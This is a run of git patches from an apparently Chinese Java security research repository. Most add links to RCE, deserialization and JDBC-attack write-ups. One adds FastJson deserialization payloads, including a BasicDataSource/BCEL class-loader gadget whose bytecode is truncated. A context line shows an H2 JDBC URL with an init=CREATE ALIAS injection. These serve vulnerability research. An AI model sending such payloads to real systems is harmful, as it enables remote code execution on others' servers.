--- 9.JDBC Attack/h2/index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/9.JDBC Attack/h2/index.md b/9.JDBC Attack/h2/index.md index 8f48f68..dccf558 100644 --- a/9.JDBC Attack/h2/index.md +++ b/9.JDBC Attack/h2/index.md @@ -79,7 +79,7 @@ String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + com.h2database h2 -1.4.196 +1.4.197 ``` From 9fed321aa9119a573499f386184a0044f794328a Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 31 Jul 2023 21:45:58 +0800 Subject: [PATCH 047/113] Update README.md --- README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/README.md b/README.md index d9b9fc6..de00e46 100644 --- a/README.md +++ b/README.md @@ -360,10 +360,9 @@ - [Apache Dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索](https://yyhylh.github.io/2023/04/08/Apache%20dubbo%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2023-23638%EF%BC%89%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E6%8E%A2%E7%B4%A2/) - [Apache Dubbo反序列化漏洞(CVE-2023-23638)完整利用及工程化实践](https://yyhylh.github.io/2023/05/11/Apache%20Dubbo%20%EF%BC%88CVE-2023-23638%EF%BC%89%E5%AE%8C%E6%95%B4%E5%88%A9%E7%94%A8%E5%8F%8A%E5%B7%A5%E7%A8%8B%E5%8C%96%E5%AE%9E%E8%B7%B5/) - Oracle - - [Oracle E-Business Suite Unauthenticated RCE](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-21587/index.md) - - [Exploiting an Order of Operations Bug to Achieve RCE in Oracle Opera](https://blog.assetnote.io/2023/04/30/rce-oracle-opera/) + - [Oracle Access Manager Pre-Auth RCE (CVE-2021–35587 Analysis)](https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316) - Nacos - [Aliababa Nacos hessian JRaft反序列化(文章里提到的只能打一次有误,后经过研究可以打多次)](https://y4er.com/posts/nacos-hessian-rce/ ) From a82cc6aa589c33f2107256ac51c37d1310fb570a Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 18 Aug 2023 17:11:12 +0800 Subject: [PATCH 048/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 解决markdown一处排版问题 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index de00e46..600d952 100644 --- a/README.md +++ b/README.md @@ -376,7 +376,7 @@ - 其他 - [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) - - [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w) + - [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w) - [Metabase-Pre auth RCE](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) From 4eebca50f8d826f14bb1526935ec83cb30a6d00d Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 25 Aug 2023 09:39:03 +0800 Subject: [PATCH 049/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 600d952..253f586 100644 --- a/README.md +++ b/README.md @@ -378,6 +378,7 @@ - [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) - [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w) - [Metabase-Pre auth RCE](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) + - [Ivanti Sentry Authentication Bypass](https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/) From b6ec1fb8a6f95e11264e59a91a15db52d75f19cd Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sun, 27 Aug 2023 11:40:07 +0800 Subject: [PATCH 050/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 253f586..eb9aa71 100644 --- a/README.md +++ b/README.md @@ -135,6 +135,7 @@ - 其他 - [Java JSON解析特性分析](https://javasec.org/javaweb/JSON/FEATURE.html) + - [黑盒判断目标的fastjson版本](https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA) ## 4.Weblogic专区(虽然也挖了一堆,暂时不想写) - [T3协议学习](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0.md) From 5c831e08b29b948d0a37ae1a5f4fb9f8bd8340d6 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sun, 27 Aug 2023 11:46:22 +0800 Subject: [PATCH 051/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 利用Swing构造反序列化SSRF/RCE(JDK CVE-2023-21939) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index eb9aa71..85a7aab 100644 --- a/README.md +++ b/README.md @@ -76,6 +76,7 @@ - [反序列化在渗透测试当中值得关注的点](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%BD%93%E4%B8%AD%E5%80%BC%E5%BE%97%E5%85%B3%E6%B3%A8%E7%9A%84%E7%82%B9/index.md) - [构造java探测class反序列化gadget](https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA) - [对URLDNS探测class的补充(为什么本地明明没有这个类却有"DNS解析")](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/URLDNS%E6%8E%A2%E6%B5%8Bclass%E7%9A%84%E8%A1%A5%E5%85%85/index.md) +- [利用Swing构造反序列化SSRF/RCE(JDK CVE-2023-21939)](https://github.com/Y4Sec-Team/CVE-2023-21939) - Hessian反序列化 - [Hessian 反序列化知一二](https://su18.org/post/hessian/) From 4ed07607bd7334cf90c101e84d687c6a5572d942 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sun, 27 Aug 2023 16:45:16 +0800 Subject: [PATCH 052/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit fastjson探测class --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 85a7aab..fcbbde3 100644 --- a/README.md +++ b/README.md @@ -137,6 +137,7 @@ - 其他 - [Java JSON解析特性分析](https://javasec.org/javaweb/JSON/FEATURE.html) - [黑盒判断目标的fastjson版本](https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA) + - [fastjson探测class](https://github.com/safe6Sec/Fastjson) ## 4.Weblogic专区(虽然也挖了一堆,暂时不想写) - [T3协议学习](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0.md) From b3dd517849892eaf3feb5320e2f6087785d4b5e9 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sun, 27 Aug 2023 17:10:04 +0800 Subject: [PATCH 053/113] Update FastJson Trick.md --- .../FastJson Trick.md" | 40 ++++++++++++++++++- 1 file changed, 39 insertions(+), 1 deletion(-) diff --git "a/3.FastJson\344\270\223\345\214\272/\346\234\211\350\266\243Trick/FastJson Trick.md" "b/3.FastJson\344\270\223\345\214\272/\346\234\211\350\266\243Trick/FastJson Trick.md" index c121027..1cfc679 100644 --- "a/3.FastJson\344\270\223\345\214\272/\346\234\211\350\266\243Trick/FastJson Trick.md" +++ "b/3.FastJson\344\270\223\345\214\272/\346\234\211\350\266\243Trick/FastJson Trick.md" @@ -1,6 +1,6 @@ # FastJson Trick.md -## parse调用parseObjetc +## parse调用parseObjetc从而触发setter Fastjson反序列化的时候所用的是Parse而不是ParseObject,这里就会有一个Trick,就是在原本的@type上再嵌套一层@type,并设置为 '@type':"com.alibaba.fastjson.JSONObject", @@ -23,4 +23,42 @@ Fastjson反序列化的时候所用的是Parse而不是ParseObject,这里就 ``` ## parse触发get另一种思路 https://mp.weixin.qq.com/s?__biz=MzAxNTg0ODU4OQ==&mid=2650358489&idx=1&sn=2d1f600da6f01b644544331a844139ae&chksm=83f0273bb487ae2d85984c541adc7a928bdca396aa6ad3c0c349e2ef044558539f2f7075ad1f&mpshare=1&scene=23&srcid=1123yB78GUjwHduKmaU9BGSa&sharer_sharetime=1637650532436&sharer_shareid=18ef5175242004180f2ee4dd9c244e8a#rd +``` +{ + { + "x":{ + "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", + "driverClassLoader": { + "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" + }, + "driverClassName": "$$BCEL$$$l$8b$I$A$..." + } + }: "x" +} +``` +这里PoC结构上还有一个值得注意的地方在于, + +先是将 {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"……} 这一整段放到JSON Value的位置上,之后在外面又套了一层 "{}"。 +之后又将 Payload 整个放到了JSON 字符串中 Key 的位置上。 + + +## su18师傅分享的一种触发getter/setter思路 +``` +{ + "@type": "java.util.Currency", + "val": { + "currency": { + "abc": { + "@type": "java.util.Map", + "aaa": { + "@type": "org.su18.fastjson.common.Person", + "a": "s", + "age": 12, + "name": "su18" + } + } + } + } +} +``` From 5bd0790a161e1184eb29b1a000a406b383a3e9a6 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sun, 27 Aug 2023 17:12:37 +0800 Subject: [PATCH 054/113] =?UTF-8?q?Update=20=E8=A1=A5=E5=85=85.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../\350\241\245\345\205\205.md" | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git "a/3.FastJson\344\270\223\345\214\272/\350\241\245\345\205\205.md" "b/3.FastJson\344\270\223\345\214\272/\350\241\245\345\205\205.md" index a0f6719..ebb0a95 100644 --- "a/3.FastJson\344\270\223\345\214\272/\350\241\245\345\205\205.md" +++ "b/3.FastJson\344\270\223\345\214\272/\350\241\245\345\205\205.md" @@ -4,7 +4,7 @@ -网上很多说法是与smartMatch去除下划线有关,但其实不太准确,在JavaBeanDeserializer里面维护了一个filedInfo对象,里面存了一些变量信息但是没有_bytecodes,原因是因为这个字段在方法当中没有set方法,并且没有get方法,当然多说一点在build JavaBeanInfo的时候,他会去遍历这个对象的所有方法,如果是set方法必须保证参数只能有一个,返回值要么是void要么是当前类对象,get方法则要求必须是一些集合类之类的 +在JavaBeanDeserializer里面维护了一个filedInfo对象,里面存了一些变量信息但是没有_bytecodes,原因是因为这个字段在方法当中没有set方法,并且没有get方法,当然多说一点在build JavaBeanInfo的时候,他会去遍历这个对象的所有方法,如果是set方法必须保证参数只能有一个,返回值要么是void要么是当前类对象,get方法则要求必须是一些集合类之类的 ``` Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType() From e6a1eeddac25263d51bb3cdac3e87187fa85745d Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sun, 27 Aug 2023 17:18:01 +0800 Subject: [PATCH 055/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index fcbbde3..d90a3b3 100644 --- a/README.md +++ b/README.md @@ -137,7 +137,7 @@ - 其他 - [Java JSON解析特性分析](https://javasec.org/javaweb/JSON/FEATURE.html) - [黑盒判断目标的fastjson版本](https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA) - - [fastjson探测class](https://github.com/safe6Sec/Fastjson) + - [fastjson探测class/如何判断是fastjson、jackson、gson](https://github.com/safe6Sec/Fastjson) ## 4.Weblogic专区(虽然也挖了一堆,暂时不想写) - [T3协议学习](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0.md) From b99397bb5d9b38dbbff0885e8e726f54e3f32763 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Tue, 5 Sep 2023 09:33:03 +0800 Subject: [PATCH 056/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index d90a3b3..5b47a5f 100644 --- a/README.md +++ b/README.md @@ -257,6 +257,7 @@ - [Hive-RCE](https://github.com/Y4tacker/hue-hive-rce) - [2023BalckHat Asia上补充关于informix-sqli、db2、cloudspanner、avatica、snowflake的利用姿势](https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf) - [JDBC利用链结合原生反序列化的思路](https://mogwailabs.de/en/blog/2023/04/look-mama-no-templatesimpl/) +- [JDBC Attack URL 绕过合集](https://mp.weixin.qq.com/s/lmoWKK41ZQzZOh-P26VUng) ## 10.关于JNDI的整理 From 091430d50d0e862064607e265ebad3d6d0e1f983 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Tue, 5 Sep 2023 10:29:27 +0800 Subject: [PATCH 057/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 一些国产系统的搭建 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5b47a5f..07cd3be 100644 --- a/README.md +++ b/README.md @@ -484,8 +484,8 @@ ## 环境 - [如何远程调试Weblogic](https://github.com/QAX-A-Team/WeblogicEnvironment) - - [使用idea进行tomcat源码调试](https://zhuanlan.zhihu.com/p/35454131) +- [一些国产系统的环境搭建问题](https://github.com/ax1sX/SecurityList/) From 8f58d5c41d12ece25c9c1ebe41eabfd1c5ea3d70 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Tue, 5 Sep 2023 10:33:18 +0800 Subject: [PATCH 058/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 07cd3be..1b3e845 100644 --- a/README.md +++ b/README.md @@ -138,6 +138,7 @@ - [Java JSON解析特性分析](https://javasec.org/javaweb/JSON/FEATURE.html) - [黑盒判断目标的fastjson版本](https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA) - [fastjson探测class/如何判断是fastjson、jackson、gson](https://github.com/safe6Sec/Fastjson) + - [记一次 Fastjson Gadget 寻找](https://mp.weixin.qq.com/s/dJkZuf6Ho6EK71bbnXI0EA) ## 4.Weblogic专区(虽然也挖了一堆,暂时不想写) - [T3协议学习](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0.md) From 23ae364848f6f9dc7a012f51b035aae144d93ddd Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 6 Sep 2023 11:51:11 +0800 Subject: [PATCH 059/113] Add files via upload --- .../img/1.png" | Bin 0 -> 106851 bytes .../index.md" | 94 ++++++++++++++++++ 2 files changed, 94 insertions(+) create mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/img/1.png" create mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/index.md" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/img/1.png" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/img/1.png" new file mode 100644 index 0000000000000000000000000000000000000000..e779561202ea7c37c005bd22ea04e78683cc99a9 GIT binary patch literal 106851 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℞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 